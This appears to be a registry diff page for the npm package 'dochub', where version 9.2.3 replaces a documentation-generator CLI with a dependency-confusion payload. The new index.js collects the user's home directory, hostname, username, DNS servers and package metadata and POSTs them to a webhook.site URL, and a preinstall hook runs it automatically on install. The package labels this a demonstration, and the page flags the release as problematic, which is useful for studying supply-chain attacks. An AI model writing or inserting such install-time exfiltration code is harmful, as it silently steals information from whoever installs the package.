dochub 1.0.4 → 9.2.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dochub might be problematic. Click here for more details.
- package/index.js +47 -32
- package/package.json +6 -14
- package/README.md +0 -52
- package/src/init.js +0 -219
- package/src/serve.js +0 -66
- package/templates/README.md +0 -43
- package/templates/folder/README.md +0 -3
- package/templates/guide.md +0 -3
- package/templates/server.js +0 -271
package/index.js
CHANGED
@@ -1,32 +1,47 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
const
|
4
|
-
const
|
5
|
-
const
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "https://webhook.site", //replace burpcollaborator.net with Interactsh or
|
26
|
+
pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/ef7191de-6fbf-4898-80c9-853b5d93fb27",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,20 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "dochub",
|
3
|
-
"version": "
|
3
|
+
"version": "9.2.3",
|
4
|
+
"description": "This is to demonstrate the vulnerability of Dependency Confusion",
|
4
5
|
"main": "index.js",
|
5
6
|
"scripts": {
|
6
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall":"index.js"
|
7
9
|
},
|
8
|
-
"
|
9
|
-
|
10
|
-
},
|
11
|
-
"author": "Tyler Reece",
|
12
|
-
"license": "ISC",
|
13
|
-
"description": "DocHub is a documentation generation CLI tool.",
|
14
|
-
"dependencies": {
|
15
|
-
"child_process": "^1.0.2",
|
16
|
-
"fs": "^0.0.1-security",
|
17
|
-
"path": "^0.12.7",
|
18
|
-
"yargs": "^17.7.2"
|
19
|
-
}
|
10
|
+
"author": "Casper",
|
11
|
+
"license": "ISC"
|
20
12
|
}
|
package/README.md
DELETED
@@ -1,52 +0,0 @@
|
|
1
|
-
# DocHub
|
2
|
-
|
3
|
-
[![npm dependents](https://badgen.net/npm/dependents/dochub)](https://www.npmjs.com/package/dochub?activeTab=dependents)
|
4
|
-
[![install size](https://packagephobia.com/badge?p=dochub)](https://packagephobia.com/result?p=dochub)
|
5
|
-
[![Downloads](https://badgen.net/npm/dt/dochub)](https://www.npmjs.com/package/dochub)
|
6
|
-
[![NPM Version](https://img.shields.io/npm/v/code-example.svg)](https://www.npmjs.com/package/dochub)
|
7
|
-
|
8
|
-
DocHub is a CLI tool for dynamically generating and displaying documentation from Markdown files converted to HTML. It includes real-time updates, search functionality, syntax highlighting, and dark mode support for better readability.
|
9
|
-
|
10
|
-
## Features
|
11
|
-
|
12
|
-
- **Real-time Updates:** Automatically refreshes content when documentation files are modified.
|
13
|
-
- **Search Functionality:** Includes a search bar to filter through documentation content.
|
14
|
-
- **Syntax Highlighting:** Uses Highlight.js to format code blocks for better readability.
|
15
|
-
- **Dark Mode:** Implements a dark mode theme for improved viewing experience.
|
16
|
-
|
17
|
-
## Getting Started
|
18
|
-
|
19
|
-
To start using DocHub, follow these steps:
|
20
|
-
|
21
|
-
1. **Installation:**
|
22
|
-
- Ensure Node.js is installed on your system.
|
23
|
-
|
24
|
-
2. **Initialize Project:**
|
25
|
-
- Run `dochub init [directory]` in your terminal to set up a new DocHub project.
|
26
|
-
- Replace `[directory]` with the path where you want to initialize your documentation project.
|
27
|
-
|
28
|
-
3. **Generate Documentation:**
|
29
|
-
- Once initialized, run `dochub serve [directory]` in your terminal.
|
30
|
-
- Replace `[directory]` with the path to your documentation files.
|
31
|
-
|
32
|
-
4. **View Documentation:**
|
33
|
-
- Open a web browser and navigate to `http://localhost:3000`.
|
34
|
-
- The sidebar lists different sections of your documentation.
|
35
|
-
- Use the search bar to find specific topics within the documentation.
|
36
|
-
|
37
|
-
## Project Structure
|
38
|
-
|
39
|
-
The project structure includes:
|
40
|
-
|
41
|
-
- **HTML and CSS:** Main structure and styling managed using HTML and Tailwind CSS.
|
42
|
-
- **JavaScript (Client-side):** Handles dynamic content updates, event handling, and integration with external libraries like Socket.IO and Highlight.js.
|
43
|
-
- **Socket.IO:** Facilitates real-time communication to update documentation on file changes.
|
44
|
-
- **Markdown to HTML Conversion:** Converts Markdown content fetched from the server-side into HTML for rendering.
|
45
|
-
|
46
|
-
## Getting Help
|
47
|
-
|
48
|
-
If you encounter any issues or have questions about using DocHub, feel free to reach out via [GitHub Issues](https://github.com/tyler-Github/dochub/issues).
|
49
|
-
|
50
|
-
## License
|
51
|
-
|
52
|
-
This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
|
package/src/init.js
DELETED
@@ -1,219 +0,0 @@
|
|
1
|
-
const { execSync } = require('child_process');
|
2
|
-
const fs = require('fs');
|
3
|
-
const path = require('path');
|
4
|
-
|
5
|
-
function initProject(argv) {
|
6
|
-
const directory = argv.directory;
|
7
|
-
|
8
|
-
if (!directory) {
|
9
|
-
console.error('Please provide a directory name.');
|
10
|
-
return;
|
11
|
-
}
|
12
|
-
|
13
|
-
const projectPath = path.resolve(directory);
|
14
|
-
|
15
|
-
if (fs.existsSync(projectPath)) {
|
16
|
-
console.error(`Directory '${directory}' already exists.`);
|
17
|
-
return;
|
18
|
-
}
|
19
|
-
|
20
|
-
// Create the main documentation folder
|
21
|
-
fs.mkdirSync(projectPath);
|
22
|
-
animatedLog(`✔ Created directory '${projectPath}'.`, 50);
|
23
|
-
|
24
|
-
// Simulate folder creation with loading animation
|
25
|
-
setTimeout(() => {
|
26
|
-
const markdownFolder = path.join(projectPath, 'markdown');
|
27
|
-
fs.mkdirSync(markdownFolder, { recursive: true });
|
28
|
-
animatedLog(`✔ Created directory '${markdownFolder}'.`, 50);
|
29
|
-
|
30
|
-
// Create sample markdown files
|
31
|
-
createMarkdownFiles(markdownFolder);
|
32
|
-
|
33
|
-
// Create config.json
|
34
|
-
const configFilePath = path.join(projectPath, 'config.json');
|
35
|
-
createConfigFile(configFilePath);
|
36
|
-
animatedLog(`✔ Created file '${configFilePath}'.`, 50);
|
37
|
-
|
38
|
-
// Create index.html
|
39
|
-
const indexFilePath = path.join(projectPath, 'index.html');
|
40
|
-
createIndexFile(indexFilePath);
|
41
|
-
animatedLog(`✔ Created file '${indexFilePath}'.`, 50);
|
42
|
-
|
43
|
-
// Create server.js
|
44
|
-
const serverFilePath = path.join(projectPath, 'server.js');
|
45
|
-
createServerFile(serverFilePath, projectPath);
|
46
|
-
animatedLog(`✔ Created file '${serverFilePath}'.`, 50);
|
47
|
-
|
48
|
-
// Initialize npm and install necessary packages
|
49
|
-
initializeNpm(projectPath);
|
50
|
-
installPackages(projectPath);
|
51
|
-
|
52
|
-
console.log(`✔ Initialized new DocHub project in '${projectPath}'.`);
|
53
|
-
}, 1000); // Simulate some delay for a fun loading effect
|
54
|
-
}
|
55
|
-
|
56
|
-
// Function to create sample markdown files by copying from templates directory
|
57
|
-
function createMarkdownFiles(folderPath) {
|
58
|
-
const templatesDir = path.join(__dirname, '..', 'templates');
|
59
|
-
|
60
|
-
const markdownFiles = [
|
61
|
-
{
|
62
|
-
name: 'README.md',
|
63
|
-
templatePath: path.join(templatesDir, 'README.md')
|
64
|
-
},
|
65
|
-
{
|
66
|
-
name: 'guide.md',
|
67
|
-
templatePath: path.join(templatesDir, 'guide.md')
|
68
|
-
},
|
69
|
-
{
|
70
|
-
name: 'folder/README.md',
|
71
|
-
templatePath: path.join(templatesDir, 'folder', 'README.md')
|
72
|
-
}
|
73
|
-
];
|
74
|
-
|
75
|
-
markdownFiles.forEach(file => {
|
76
|
-
const filePath = path.join(folderPath, file.name);
|
77
|
-
|
78
|
-
try {
|
79
|
-
// Ensure directory exists before writing file
|
80
|
-
const dirname = path.dirname(filePath);
|
81
|
-
if (!fs.existsSync(dirname)) {
|
82
|
-
fs.mkdirSync(dirname, { recursive: true });
|
83
|
-
}
|
84
|
-
|
85
|
-
const templateContent = fs.readFileSync(file.templatePath, 'utf8');
|
86
|
-
fs.writeFileSync(filePath, templateContent);
|
87
|
-
console.log(`✔ Created file: ${filePath}`);
|
88
|
-
} catch (err) {
|
89
|
-
console.error(`✘ Error creating file ${filePath}:`, err);
|
90
|
-
}
|
91
|
-
});
|
92
|
-
}
|
93
|
-
|
94
|
-
|
95
|
-
// Function to create config.json
|
96
|
-
function createConfigFile(filePath) {
|
97
|
-
const configData = {
|
98
|
-
title: 'DocHub Project',
|
99
|
-
description: "Change this to your description!"
|
100
|
-
};
|
101
|
-
|
102
|
-
fs.writeFileSync(filePath, JSON.stringify(configData, null, 2));
|
103
|
-
animatedLog(`✔ Created file '${filePath}'.`, 50);
|
104
|
-
}
|
105
|
-
|
106
|
-
// Function to create index.html
|
107
|
-
function createIndexFile(filePath) {
|
108
|
-
const htmlContent = `
|
109
|
-
<!DOCTYPE html>
|
110
|
-
<html lang="en">
|
111
|
-
<head>
|
112
|
-
<meta charset="UTF-8">
|
113
|
-
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
114
|
-
<title>Documentation Project</title>
|
115
|
-
</head>
|
116
|
-
<body>
|
117
|
-
<h1>Welcome to Documentation Project</h1>
|
118
|
-
<p>This is the main index.html file for your documentation project.</p>
|
119
|
-
</body>
|
120
|
-
</html>
|
121
|
-
`;
|
122
|
-
|
123
|
-
fs.writeFileSync(filePath, htmlContent.trim());
|
124
|
-
animatedLog(`✔ Created file '${filePath}'.`, 50);
|
125
|
-
}
|
126
|
-
|
127
|
-
// Function to create server.js using a template
|
128
|
-
function createServerFile(filePath) {
|
129
|
-
const templatePath = path.join(__dirname, '..', 'templates', 'server.js');
|
130
|
-
|
131
|
-
// Read the server.js template file
|
132
|
-
fs.readFile(templatePath, 'utf8', (err, data) => {
|
133
|
-
if (err) {
|
134
|
-
console.error(`✘ Error reading template file: ${err}`);
|
135
|
-
return;
|
136
|
-
}
|
137
|
-
|
138
|
-
// Write the template content to the specified filePath
|
139
|
-
fs.writeFileSync(filePath, data.trim());
|
140
|
-
console.log(`✔ Server file generated at ${filePath}`);
|
141
|
-
});
|
142
|
-
}
|
143
|
-
|
144
|
-
// Function to initialize npm in the project directory
|
145
|
-
function initializeNpm(projectPath) {
|
146
|
-
const packageJson = {
|
147
|
-
name: path.basename(projectPath),
|
148
|
-
version: '1.0.0',
|
149
|
-
description: 'DocHub project',
|
150
|
-
scripts: {
|
151
|
-
start: 'node server.js'
|
152
|
-
},
|
153
|
-
keywords: [],
|
154
|
-
"main": "server.js",
|
155
|
-
author: '',
|
156
|
-
license: 'ISC'
|
157
|
-
};
|
158
|
-
|
159
|
-
const packageJsonPath = path.join(projectPath, 'package.json');
|
160
|
-
fs.writeFileSync(packageJsonPath, JSON.stringify(packageJson, null, 2));
|
161
|
-
|
162
|
-
try {
|
163
|
-
execSync('npm init -y', { cwd: projectPath, stdio: 'ignore' });
|
164
|
-
animatedLog('✔ Initialized npm.', 50);
|
165
|
-
} catch (error) {
|
166
|
-
console.error('✘ Failed to initialize npm.');
|
167
|
-
}
|
168
|
-
}
|
169
|
-
|
170
|
-
// Function to install necessary packages
|
171
|
-
function installPackages(projectPath) {
|
172
|
-
const dependencies = ['http', 'fs', 'path', 'highlight.js', 'socket.io'];
|
173
|
-
|
174
|
-
animatedLog(`✔ Installing packages: ${dependencies.join(', ')}`, 50);
|
175
|
-
const progressBar = createProgressBar(20);
|
176
|
-
|
177
|
-
try {
|
178
|
-
execSync(`npm install --save ${dependencies.join(' ')}`, { cwd: projectPath, stdio: 'inherit' });
|
179
|
-
progressBar.stop();
|
180
|
-
console.log('\n✔ Installed necessary packages.');
|
181
|
-
} catch (error) {
|
182
|
-
progressBar.stop();
|
183
|
-
console.error('\n✘ Failed to install necessary packages.');
|
184
|
-
}
|
185
|
-
}
|
186
|
-
|
187
|
-
// Function to create a progress bar
|
188
|
-
function createProgressBar(totalFrames) {
|
189
|
-
let currentFrame = 0;
|
190
|
-
const progressBar = setInterval(() => {
|
191
|
-
process.stdout.write(`\r${frames[currentFrame]} Installing...`);
|
192
|
-
currentFrame = (currentFrame + 1) % totalFrames;
|
193
|
-
}, 50);
|
194
|
-
|
195
|
-
return {
|
196
|
-
stop: () => {
|
197
|
-
clearInterval(progressBar);
|
198
|
-
process.stdout.write(`\r✔ Installation complete.\n`);
|
199
|
-
}
|
200
|
-
};
|
201
|
-
}
|
202
|
-
|
203
|
-
// Function to animate console log with delay
|
204
|
-
function animatedLog(message, delay) {
|
205
|
-
const frames = ['⠁', '⠂', '⠄', '⡀', '⢀', '⠠', '⠐', '⠈'];
|
206
|
-
let frame = 0;
|
207
|
-
|
208
|
-
const interval = setInterval(() => {
|
209
|
-
process.stdout.write(`\r${frames[frame]} ${message}`);
|
210
|
-
frame = (frame + 1) % frames.length;
|
211
|
-
}, delay);
|
212
|
-
|
213
|
-
setTimeout(() => {
|
214
|
-
clearInterval(interval);
|
215
|
-
process.stdout.write(`\r${message}\n`);
|
216
|
-
}, delay * 20); // Simulate loading completion
|
217
|
-
}
|
218
|
-
|
219
|
-
module.exports = initProject;
|
package/src/serve.js
DELETED
@@ -1,66 +0,0 @@
|
|
1
|
-
const { spawn } = require('child_process');
|
2
|
-
const path = require('path');
|
3
|
-
const fs = require('fs');
|
4
|
-
|
5
|
-
function serveDocs(argv) {
|
6
|
-
const directory = argv.directory || './docs';
|
7
|
-
|
8
|
-
const serverFilePath = path.resolve(directory, 'server.js');
|
9
|
-
|
10
|
-
if (!serverExists(serverFilePath)) {
|
11
|
-
console.error(`Server file '${serverFilePath}' not found. Make sure to run 'init' first.`);
|
12
|
-
return;
|
13
|
-
}
|
14
|
-
|
15
|
-
// Start the server using Node.js child process
|
16
|
-
const serverProcess = spawn('node', [serverFilePath]);
|
17
|
-
|
18
|
-
// Simulate server starting with loading animation
|
19
|
-
animatedLog(`Starting server from '${serverFilePath}'`, 50);
|
20
|
-
|
21
|
-
serverProcess.stdout.on('data', (data) => {
|
22
|
-
// Log server stdout with tick emoji
|
23
|
-
logWithTick(data.toString().trim());
|
24
|
-
});
|
25
|
-
|
26
|
-
serverProcess.stderr.on('data', (data) => {
|
27
|
-
// Log server stderr with tick emoji for errors
|
28
|
-
logWithTick(`Error: ${data.toString().trim()}`);
|
29
|
-
});
|
30
|
-
|
31
|
-
serverProcess.on('close', (code) => {
|
32
|
-
console.log(`Server process exited with code ${code}`);
|
33
|
-
});
|
34
|
-
}
|
35
|
-
|
36
|
-
// Function to check if server.js file exists
|
37
|
-
function serverExists(filePath) {
|
38
|
-
try {
|
39
|
-
return fs.existsSync(filePath);
|
40
|
-
} catch (err) {
|
41
|
-
return false;
|
42
|
-
}
|
43
|
-
}
|
44
|
-
|
45
|
-
// Function to animate console log with delay
|
46
|
-
function animatedLog(message, delay) {
|
47
|
-
const frames = ['⠁', '⠂', '⠄', '⡀', '⢀', '⠠', '⠐', '⠈'];
|
48
|
-
let frame = 0;
|
49
|
-
|
50
|
-
const interval = setInterval(() => {
|
51
|
-
process.stdout.write(`\r${frames[frame]} ${message}`);
|
52
|
-
frame = (frame + 1) % frames.length;
|
53
|
-
}, delay);
|
54
|
-
|
55
|
-
setTimeout(() => {
|
56
|
-
clearInterval(interval);
|
57
|
-
process.stdout.write(`\r✔ ${message}\n`);
|
58
|
-
}, delay * 20); // Simulate loading completion
|
59
|
-
}
|
60
|
-
|
61
|
-
// Function to log with tick emoji
|
62
|
-
function logWithTick(message) {
|
63
|
-
console.log(`✔ ${message}`);
|
64
|
-
}
|
65
|
-
|
66
|
-
module.exports = serveDocs;
|
package/templates/README.md
DELETED
@@ -1,43 +0,0 @@
|
|
1
|
-
# Welcome to your first documentation!
|
2
|
-
|
3
|
-
This project dynamically generates and displays documentation from Markdown files converted to HTML. It utilizes Socket.IO for real-time updates, integrates with Tailwind CSS for styling, and uses Highlight.js for code syntax highlighting.
|
4
|
-
|
5
|
-
## Features
|
6
|
-
|
7
|
-
- **Real-time Updates:** Automatically refreshes content when documentation files are modified.
|
8
|
-
- **Search Functionality:** Includes a search bar to filter through documentation content.
|
9
|
-
- **Syntax Highlighting:** Uses Highlight.js to format code blocks for better readability.
|
10
|
-
- **Dark Mode:** Implements a dark mode theme for improved viewing experience.
|
11
|
-
|
12
|
-
## Getting Started
|
13
|
-
|
14
|
-
To generate and view your documentation, follow these steps:
|
15
|
-
|
16
|
-
1. **Installation:**
|
17
|
-
- Ensure Node.js is installed on your system.
|
18
|
-
|
19
|
-
2. **Generate Documentation:**
|
20
|
-
- Run `docify serve [directory]` in your terminal.
|
21
|
-
- Replace `[directory]` with the path to your documentation files.
|
22
|
-
|
23
|
-
3. **View Documentation:**
|
24
|
-
- Open a web browser and navigate to `http://localhost:3000`.
|
25
|
-
- The sidebar lists different sections of your documentation.
|
26
|
-
- Use the search bar to find specific topics within the documentation.
|
27
|
-
|
28
|
-
## Project Structure
|
29
|
-
|
30
|
-
The project structure includes:
|
31
|
-
|
32
|
-
- **HTML and CSS:** Main structure and styling managed using HTML and Tailwind CSS.
|
33
|
-
- **JavaScript (Client-side):** Handles dynamic content updates, event handling, and integration with external libraries like Socket.IO and Highlight.js.
|
34
|
-
- **Socket.IO:** Facilitates real-time communication to update documentation on file changes.
|
35
|
-
- **Markdown to HTML Conversion:** Converts Markdown content fetched from the server-side into HTML for rendering.
|
36
|
-
|
37
|
-
## Getting Help
|
38
|
-
|
39
|
-
If you encounter any issues or have questions about using this documentation project, feel free to reach out via [GitHub Issues](https://github.com/tyler-Github/dochub/issues).
|
40
|
-
|
41
|
-
## License
|
42
|
-
|
43
|
-
This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
|
package/templates/guide.md
DELETED
package/templates/server.js
DELETED
@@ -1,271 +0,0 @@
|
|
1
|
-
const http = require('http');
|
2
|
-
const fs = require('fs');
|
3
|
-
const path = require('path');
|
4
|
-
const hljs = require('highlight.js');
|
5
|
-
const socketio = require('socket.io');
|
6
|
-
|
7
|
-
let htmlContent = ''; // Variable to store HTML content
|
8
|
-
|
9
|
-
const configPath = path.join(__dirname, 'config.json');
|
10
|
-
const config = JSON.parse(fs.readFileSync(configPath, 'utf8'));
|
11
|
-
const projectTitle = config.title || 'Documentation Project';
|
12
|
-
|
13
|
-
// Function to convert Markdown to HTML
|
14
|
-
function convertMarkdownToHtml(markdownContent, filePath) {
|
15
|
-
// Regular expression to match Markdown code blocks
|
16
|
-
const codeBlockRegex = /```(\w+)\n([\s\S]*?)```/g;
|
17
|
-
|
18
|
-
// Basic conversion: Replace Markdown syntax with HTML equivalents
|
19
|
-
let htmlContent = markdownContent
|
20
|
-
// Code blocks
|
21
|
-
.replace(codeBlockRegex, (match, language, code) => {
|
22
|
-
const validLanguage = language || 'plaintext'; // Default to plaintext if no language specified
|
23
|
-
const highlightedCode = hljs.highlight(code, { language: validLanguage }).value;
|
24
|
-
// Count the number of lines in the code content
|
25
|
-
const lines = code.split('\n').length;
|
26
|
-
return `<pre class="bg-gray-800 text-white p-4 rounded-md mb-4 code-block" style="height: ${lines * 1.5}rem;"><code class="language-${validLanguage}" data-lines="${lines}">${highlightedCode}</code></pre>`;
|
27
|
-
})
|
28
|
-
// Inline code
|
29
|
-
.replace(/`([^`]*)`/g, '<code class="bg-gray-800 text-white rounded px-1">$1</code>')
|
30
|
-
// Headers, emphasis, lists, links
|
31
|
-
.replace(/^# (.*)$/gm, '<h1 class="text-4xl font-bold mt-8 mb-4">$1</h1>')
|
32
|
-
.replace(/^## (.*)$/gm, '<h2 class="text-3xl font-bold mt-6 mb-3">$1</h2>')
|
33
|
-
.replace(/^### (.*)$/gm, '<h3 class="text-2xl font-bold mt-4 mb-2">$1</h3>')
|
34
|
-
.replace(/^#### (.*)$/gm, '<h4 class="text-xl font-bold mt-3 mb-2">$1</h4>')
|
35
|
-
.replace(/^##### (.*)$/gm, '<h5 class="text-lg font-bold mt-3 mb-2">$1</h5>')
|
36
|
-
.replace(/^###### (.*)$/gm, '<h6 class="text-base font-bold mt-2 mb-2">$1</h6>')
|
37
|
-
.replace(/\*\*(.*)\*\*/g, '<strong class="font-bold">$1</strong>')
|
38
|
-
.replace(/\*(.*)\*/g, '<em class="italic">$1</em>')
|
39
|
-
.replace(/^\s*-\s(.*)$/gm, '<li class="list-disc ml-4">$1</li>')
|
40
|
-
.replace(/^\s*\d\.\s(.*)$/gm, '<li class="list-decimal ml-4">$1</li>')
|
41
|
-
.replace(/<li>(.*)<\/li>/g, '<ul class="list-inside list-disc mb-4">$1</ul>')
|
42
|
-
.replace(/\[(.*?)\]\((.*?)\)/g, '<a href="$2" class="text-blue-500 hover:underline">$1</a>')
|
43
|
-
// Paragraphs and Line breaks
|
44
|
-
.replace(/\n\n/gm, '</p><p class="mb-6">') // Replace double newline with closing and opening paragraph tags
|
45
|
-
.replace(/^\s*$/gm, '<p class="mb-6">') // Replace empty lines with opening paragraph tag
|
46
|
-
.replace(/^/gm, '') // Remove the beginning of each line
|
47
|
-
.replace(/$/gm, ''); // Remove the end of each line
|
48
|
-
|
49
|
-
// Generate sidebar based on file structure
|
50
|
-
const sidebar = generateSidebar(path.join(__dirname, 'markdown'));
|
51
|
-
|
52
|
-
// Return the entire HTML structure
|
53
|
-
return `
|
54
|
-
<!DOCTYPE html>
|
55
|
-
<html lang="en">
|
56
|
-
<head>
|
57
|
-
<meta charset="UTF-8">
|
58
|
-
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
59
|
-
<title>Markdown to HTML</title>
|
60
|
-
<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
|
61
|
-
<link href="https://cdn.jsdelivr.net/npm/highlight.js/styles/vs2015.css" rel="stylesheet">
|
62
|
-
<style>
|
63
|
-
/* Dark mode theme */
|
64
|
-
body {
|
65
|
-
background-color: #1a202c;
|
66
|
-
color: #e2e8f0;
|
67
|
-
}
|
68
|
-
.bg-gray-200 {
|
69
|
-
background-color: #2d3748;
|
70
|
-
}
|
71
|
-
.text-blue-500 {
|
72
|
-
color: #90cdf4;
|
73
|
-
}
|
74
|
-
.hover\:underline:hover {
|
75
|
-
text-decoration: underline;
|
76
|
-
}
|
77
|
-
/* Adjust sidebar height */
|
78
|
-
.sidebar {
|
79
|
-
min-height: 100vh; /* Ensure sidebar stretches to full viewport height */
|
80
|
-
display: flex;
|
81
|
-
flex-direction: column;
|
82
|
-
align-items: flex-start; /* Align items to the start (left) */
|
83
|
-
justify-content: flex-start; /* Start content from the top */
|
84
|
-
padding: 20px;
|
85
|
-
}
|
86
|
-
.code-block {
|
87
|
-
color: #e2e8f0; /* Match the body text color */
|
88
|
-
padding: 1rem;
|
89
|
-
margin-bottom: 1rem;
|
90
|
-
border-radius: 0.5rem;
|
91
|
-
overflow: hidden; /* Prevents scroll bars */
|
92
|
-
white-space: pre-wrap; /* Preserves white space */
|
93
|
-
}
|
94
|
-
.search-bar {
|
95
|
-
width: 100%;
|
96
|
-
padding: 0.5rem;
|
97
|
-
margin-bottom: 1rem;
|
98
|
-
background-color: #4a5568;
|
99
|
-
color: #e2e8f0;
|
100
|
-
border: none;
|
101
|
-
border-radius: 0.25rem;
|
102
|
-
outline: none;
|
103
|
-
}
|
104
|
-
.search-bar:focus {
|
105
|
-
background-color: #2d3748;
|
106
|
-
}
|
107
|
-
</style>
|
108
|
-
</head>
|
109
|
-
<body class="flex bg-gray-100">
|
110
|
-
<aside class="w-1/5 bg-gray-800 p-4 sidebar">
|
111
|
-
<h1 class="text-xl font-bold mb-4">${projectTitle}</h1>
|
112
|
-
<input type="text" id="search-input" class="search-bar" placeholder="Search...">
|
113
|
-
<ul id="sidebar-list" class="space-y-2">
|
114
|
-
${sidebar}
|
115
|
-
</ul>
|
116
|
-
</aside>
|
117
|
-
<main id="main-content" class="w-4/5 p-4 bg-gray-200">
|
118
|
-
${htmlContent}
|
119
|
-
</main>
|
120
|
-
<script src="https://cdn.socket.io/4.3.1/socket.io.min.js"></script>
|
121
|
-
<script>
|
122
|
-
document.addEventListener('DOMContentLoaded', function() {
|
123
|
-
const socket = io(); // Declare socket variable here
|
124
|
-
|
125
|
-
socket.on('fileChange', function() {
|
126
|
-
fetchCurrentPageContent();
|
127
|
-
});
|
128
|
-
|
129
|
-
const codeBlocks = document.querySelectorAll('.code-block');
|
130
|
-
codeBlocks.forEach(block => {
|
131
|
-
const code = block.querySelector('code');
|
132
|
-
const lines = parseInt(code.getAttribute('data-lines'));
|
133
|
-
const lineHeight = parseInt(getComputedStyle(code).lineHeight);
|
134
|
-
block.style.height = (lines * lineHeight) + 'px'; // Set height using proper concatenation
|
135
|
-
});
|
136
|
-
|
137
|
-
// Fetch the sidebar list and handle search input
|
138
|
-
const sidebarList = document.getElementById('sidebar-list');
|
139
|
-
if (sidebarList) {
|
140
|
-
const sidebarItems = sidebarList.getElementsByTagName('li');
|
141
|
-
|
142
|
-
document.getElementById('search-input').addEventListener('input', function() {
|
143
|
-
const searchValue = this.value.trim().toLowerCase();
|
144
|
-
|
145
|
-
Array.from(sidebarItems).forEach(item => {
|
146
|
-
const link = item.querySelector('a');
|
147
|
-
if (link) {
|
148
|
-
const textContent = link.textContent.trim().toLowerCase();
|
149
|
-
|
150
|
-
if (textContent.includes(searchValue)) {
|
151
|
-
item.style.display = 'block';
|
152
|
-
} else {
|
153
|
-
item.style.display = 'none';
|
154
|
-
}
|
155
|
-
}
|
156
|
-
});
|
157
|
-
});
|
158
|
-
} else {
|
159
|
-
console.error('Sidebar list element not found.');
|
160
|
-
}
|
161
|
-
});
|
162
|
-
|
163
|
-
function fetchCurrentPageContent() {
|
164
|
-
// Fetch the current page's HTML content
|
165
|
-
fetch(window.location.href)
|
166
|
-
.then(response => response.text())
|
167
|
-
.then(html => {
|
168
|
-
// Replace the entire HTML document with the fetched content
|
169
|
-
document.open();
|
170
|
-
document.write(html);
|
171
|
-
document.close();
|
172
|
-
})
|
173
|
-
.catch(error => {
|
174
|
-
console.error('Error fetching current page content:', error);
|
175
|
-
});
|
176
|
-
}
|
177
|
-
</script>
|
178
|
-
|
179
|
-
</body>
|
180
|
-
</html>
|
181
|
-
`;
|
182
|
-
}
|
183
|
-
|
184
|
-
// Function to generate sidebar links based on directory structure
|
185
|
-
function generateSidebar(rootDir) {
|
186
|
-
const generateLinks = (dir, baseUrl, depth = 0) => {
|
187
|
-
let links = '';
|
188
|
-
const items = fs.readdirSync(dir);
|
189
|
-
|
190
|
-
items.forEach(item => {
|
191
|
-
const itemPath = path.join(dir, item);
|
192
|
-
const relativePath = path.relative(rootDir, itemPath);
|
193
|
-
const urlPath = baseUrl + '/' + relativePath.replace(/\\/g, '/').replace('.md', '');
|
194
|
-
|
195
|
-
if (fs.statSync(itemPath).isDirectory()) {
|
196
|
-
// If directory, recursively generate nested list with increased depth
|
197
|
-
links += `<li class="font-bold ml-${depth * 2}">${item}</li>\n`;
|
198
|
-
links += `<ul class="ml-4 space-y-2">${generateLinks(itemPath, baseUrl, depth + 1)}</ul>\n`;
|
199
|
-
} else if (item.endsWith('.md')) {
|
200
|
-
// If Markdown file, generate list item with link
|
201
|
-
links += `<li class="ml-${depth * 2}"><a href="${urlPath}" class="text-blue-500 hover:underline">${item.replace('.md', '')}</a></li>\n`;
|
202
|
-
}
|
203
|
-
});
|
204
|
-
|
205
|
-
return links;
|
206
|
-
};
|
207
|
-
|
208
|
-
// Start generating sidebar from root directory
|
209
|
-
return generateLinks(rootDir, '');
|
210
|
-
}
|
211
|
-
|
212
|
-
// Create HTTP server
|
213
|
-
const server = http.createServer((req, res) => {
|
214
|
-
let filePath = '.' + req.url;
|
215
|
-
|
216
|
-
if (filePath === './' || filePath === './index.html') {
|
217
|
-
filePath = './README.md'; // Default to README.md for root URL
|
218
|
-
} else if (!path.extname(filePath)) {
|
219
|
-
// Append '.md' for paths that do not have an extension
|
220
|
-
filePath += '.md';
|
221
|
-
}
|
222
|
-
|
223
|
-
filePath = path.join(__dirname, 'markdown', filePath.replace(/^\//, ''));
|
224
|
-
|
225
|
-
fs.readFile(filePath, (err, data) => {
|
226
|
-
if (err) {
|
227
|
-
